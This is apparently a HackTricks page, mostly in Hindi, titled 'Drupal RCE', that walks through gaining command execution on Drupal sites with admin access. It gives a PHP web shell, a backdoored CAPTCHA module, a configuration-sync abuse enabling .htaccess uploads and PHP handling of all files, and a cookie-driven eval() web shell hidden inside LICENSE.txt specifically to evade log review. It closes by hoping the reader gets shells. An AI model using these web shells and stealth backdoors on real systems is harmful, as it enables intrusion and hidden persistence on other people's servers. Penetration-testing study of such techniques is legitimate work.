Drupal RCE

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

With PHP Filter Module

पुराने संस्करणों में Drupal (संस्करण 8 से पहले), एक व्यवस्थापक के रूप में लॉग इन करना और PHP filter मॉड्यूल को सक्षम करना संभव था, जो "संलग्न PHP कोड/टुकड़ों को मूल्यांकित करने की अनुमति देता है।" लेकिन संस्करण 8 से यह मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं है।

आपको प्लगइन php स्थापित करने की आवश्यकता है (जाँच करें कि /modules/php पर पहुँचकर और यदि यह 403 लौटाता है तो, मौजूद है, यदि नहीं मिला, तो प्लगइन php स्थापित नहीं है)

Modules पर जाएं -> (जाँचें) PHP Filter -> कॉन्फ़िगरेशन सहेजें

फिर Add content पर क्लिक करें -> Basic Page या Article का चयन करें -> शरीर में php shellcode लिखें -> Text format में PHP code का चयन करें -> Preview का चयन करें

अंत में बस नए बनाए गए नोड पर पहुँचें:

curl http://drupal-site.local/node/3

Install PHP Filter Module

वर्तमान संस्करणों में, डिफ़ॉल्ट स्थापना के बाद केवल वेब तक पहुँच होने पर प्लगइन्स स्थापित करना अब संभव नहीं है।

संस्करण 8 से आगे, PHP Filter मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं है। इस कार्यक्षमता का लाभ उठाने के लिए, हमें मॉड्यूल को स्वयं स्थापित करना होगा

  1. Drupal वेबसाइट से मॉड्यूल का सबसे हालिया संस्करण डाउनलोड करें।

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. डाउनलोड करने के बाद Administration > Reports > Available updates पर जाएं।

  4. Browse पर क्लिक करें, उस निर्देशिका से फ़ाइल का चयन करें जहाँ हमने इसे डाउनलोड किया था, और फिर Install पर क्लिक करें।

  5. एक बार मॉड्यूल स्थापित हो जाने पर, हम Content पर क्लिक कर सकते हैं और एक नया बुनियादी पृष्ठ बना सकते हैं, जैसे कि हमने Drupal 7 उदाहरण में किया था। फिर से, सुनिश्चित करें कि Text format ड्रॉपडाउन से PHP code का चयन करें।

Backdoored Module

वर्तमान संस्करणों में, डिफ़ॉल्ट स्थापना के बाद केवल वेब तक पहुँच होने पर प्लगइन्स स्थापित करना अब संभव नहीं है।

एक बैकडोर मॉड्यूल एक मौजूदा मॉड्यूल में शेल जोड़कर बनाया जा सकता है। मॉड्यूल drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए CAPTCHA जैसे एक मॉड्यूल का चयन करते हैं। नीचे स्क्रॉल करें और tar.gz archive के लिए लिंक कॉपी करें।

  • संग्रह डाउनलोड करें और इसकी सामग्री निकालें।

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • एक PHP वेब शेल बनाएं जिसमें सामग्री हो:

<?php
system($_GET["cmd"]);
?>
  • अगला, हमें .htaccess फ़ाइल बनानी होगी ताकि हम फ़ोल्डर तक पहुँच प्राप्त कर सकें। यह आवश्यक है क्योंकि Drupal /modules फ़ोल्डर तक सीधे पहुँच को अस्वीकार करता है।

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • उपरोक्त कॉन्फ़िगरेशन /modules में फ़ाइल का अनुरोध करते समय / फ़ोल्डर के लिए नियम लागू करेगा। इन दोनों फ़ाइलों को कैप्चा फ़ोल्डर में कॉपी करें और एक संग्रह बनाएँ।

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • मान लीजिए कि हमारे पास प्रशासनिक पहुंच है वेबसाइट पर, Manage पर क्लिक करें और फिर साइडबार में Extend पर क्लिक करें। अगला, + Install new module बटन पर क्लिक करें, और हमें इंस्टॉलेशन पृष्ठ पर ले जाया जाएगा, जैसे http://drupal-site.local/admin/modules/install बैकडोर किए गए कैप्चा संग्रह पर जाएं और Install पर क्लिक करें।

  • एक बार इंस्टॉलेशन सफल होने के बाद, /modules/captcha/shell.php पर जाएं ताकि कमांड निष्पादित कर सकें।

Drupal को कॉन्फ़िगरेशन समन्वय के साथ बैकडोर करना

पोस्ट साझा की गई Coiffeur0x90

भाग 1 (Media और Media Library का सक्रियण)

Extend मेनू (/admin/modules) में, आप उन प्लगइन्स को सक्रिय कर सकते हैं जो पहले से स्थापित प्रतीत होते हैं। डिफ़ॉल्ट रूप से, प्लगइन्स Media और Media Library सक्रिय नहीं होते हैं, इसलिए चलिए इन्हें सक्रिय करते हैं।

सक्रियकरण से पहले:

सक्रियकरण के बाद:

भाग 2 (Configuration synchronization फीचर का लाभ उठाना)

हम Configuration synchronization फीचर का लाभ उठाकर Drupal कॉन्फ़िगरेशन प्रविष्टियों को डंप (निर्यात) और अपलोड (आयात) करेंगे:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Patch system.file.yml

आइए पहले प्रविष्टि allow_insecure_uploads को पैच करना शुरू करें:

File: system.file.yml


...

allow_insecure_uploads: false

...

के लिए:

फाइल: system.file.yml


...

allow_insecure_uploads: true

...

Patch field.field.media.document.field_media_document.yml

फिर, दूसरे प्रविष्टि file_extensions को इस प्रकार पैच करें:

File: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

के लिए:

फाइल: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता लेकिन यह नोट किया गया है कि इसे मनमाने तरीके से file_directory प्रविष्टि को परिभाषित करना संभव है और यह एक पथ traversal हमले के लिए संवेदनशील है (इसलिए हम Drupal फ़ाइल सिस्टम पेड़ के भीतर वापस जा सकते हैं)।

भाग 3 (विशेषता Add Document का लाभ उठाना)

अंतिम चरण सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला है .htaccess प्रारूप में एक फ़ाइल अपलोड करना ताकि Apache निर्देशों का लाभ उठाया जा सके और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्यायित करने की अनुमति दी जा सके। दूसरा है हमारी पेलोड वाली .txt फ़ाइल अपलोड करना।

File: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

क्यों यह ट्रिक कूल है?

क्योंकि एक बार जब Webshell (जिसे हम LICENSE.txt कहेंगे) वेब सर्वर पर ड्रॉप किया जाता है, हम अपने कमांड $_COOKIE के माध्यम से भेज सकते हैं और वेब सर्वर लॉग में, यह एक वैध GET अनुरोध के रूप में एक टेक्स्ट फ़ाइल के लिए दिखाई देगा।

हमारे Webshell का नाम LICENSE.txt क्यों रखा जाए?

सिर्फ इसलिए क्योंकि यदि हम निम्नलिखित फ़ाइल लेते हैं, उदाहरण के लिए core/LICENSE.txt (जो पहले से ही Drupal कोर में मौजूद है), तो हमारे पास 339 लाइनों और 17.6 KB आकार की एक फ़ाइल है, जो बीच में एक छोटा PHP कोड स्निपेट जोड़ने के लिए एकदम सही है (क्योंकि फ़ाइल काफी बड़ी है)।

फ़ाइल: पैच किया गया LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

भाग 3.1 (फाइल .htaccess अपलोड करें)

पहले, हम Add Document (/media/add/document) सुविधा का उपयोग करके अपनी फाइल अपलोड करते हैं जिसमें Apache निर्देश (.htaccess) होते हैं।

भाग 3.2 (फाइल LICENSE.txt अपलोड करें)

फिर, हम Add Document (/media/add/document) सुविधा का फिर से उपयोग करते हैं ताकि एक लाइसेंस फाइल के भीतर छिपा हुआ Webshell अपलोड किया जा सके।

भाग 4 (Webshell के साथ इंटरैक्शन)

अंतिम भाग Webshell के साथ इंटरैक्ट करने का है।

जैसा कि निम्नलिखित स्क्रीनशॉट में दिखाया गया है, यदि हमारे Webshell द्वारा अपेक्षित कुकी परिभाषित नहीं है, तो हमें वेब ब्राउज़र के माध्यम से फाइल पर परामर्श करते समय निम्नलिखित परिणाम मिलता है।

जब हमलावर कुकी सेट करता है, तो वह Webshell के साथ इंटरैक्ट कर सकता है और जो चाहें कमांड निष्पादित कर सकता है।

और जैसा कि आप लॉग में देख सकते हैं, ऐसा लगता है कि केवल एक txt फाइल का अनुरोध किया गया है।

इस लेख को पढ़ने के लिए धन्यवाद, मुझे उम्मीद है कि यह आपको कुछ शेल प्राप्त करने में मदद करेगा।

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated